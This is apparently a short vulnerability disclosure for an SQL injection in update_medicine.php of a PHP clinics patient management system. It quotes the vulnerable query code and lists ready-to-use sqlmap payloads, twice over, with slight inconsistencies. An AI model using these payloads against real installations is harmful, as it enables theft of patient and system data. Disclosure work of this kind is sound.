

SQL injection vulnerability exists in id parameter of update_medicine.php file of clinics patient management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
try {  
    $id = $_GET['id'];  
    $query = "SELECT `id`, `medicine_name` from `medicines`  
        where `id` = $id";  
    $stmt = $con->prepare($query);  
    $stmt->execute();  
    $row = $stmt->fetch(PDO::FETCH_ASSOC);
```

```
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)  
Payload: id=1 AND 9242=(SELECT (CASE WHEN (9242=9242) THEN 9242 ELSE (SELECT 1439 UNION SELECT 2867) END))--  
  
Type: error-based  
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)  
Payload: id=1 AND GTID_SUBSET(CONCAT(0x71786a7671,(SELECT (ELT(6839=6839,1))),0x71786a6271),6839)  
  
Type: stacked queries  
Title: MySQL >= 5.0.12 stacked queries (comment)  
Payload: id=1;SELECT SLEEP(5)#  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=1 AND (SELECT 6627 FROM (SELECT(SLEEP(5)))GHYZ)  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 2 columns  
Payload: id=-8727 UNION ALL SELECT NULL,CONCAT(0x71786a7671,0x694e48677273484162526b636c45677046596e6465636f7369  
4375476565714b6c48634a696d4853,0x71786a6271)--
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: id=1 AND 9242=(SELECT (CASE WHEN (9242=9242) THEN 9242 ELSE (SELECT 1439
UNION SELECT 2867) END))-- -

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(GTID_SUBSET)

Payload: id=1 AND GTID_SUBSET(CONCAT(0x71786a7671,(SELECT
(ELT(6839=6839,1))),0x71786a6271),6839)

Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: id=1;SELECT SLEEP(5)#

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1 AND (SELECT 6627 FROM (SELECT(SLEEP(5))))GHYz)

Type: UNION query

Title: Generic UNION query (NULL) - 2 columns

Payload: id=-8727 UNION ALL SELECT
NULL,CONCAT(0x71786a7671,0x694e48677273484162526b636c45677046596e6465636f736943
75476565714b6c48634a696d4853,0x71786a6271)-- -

“

Source Download:

<https://www.sourcecodester.com/php-clinics-patient-management-system-source-code>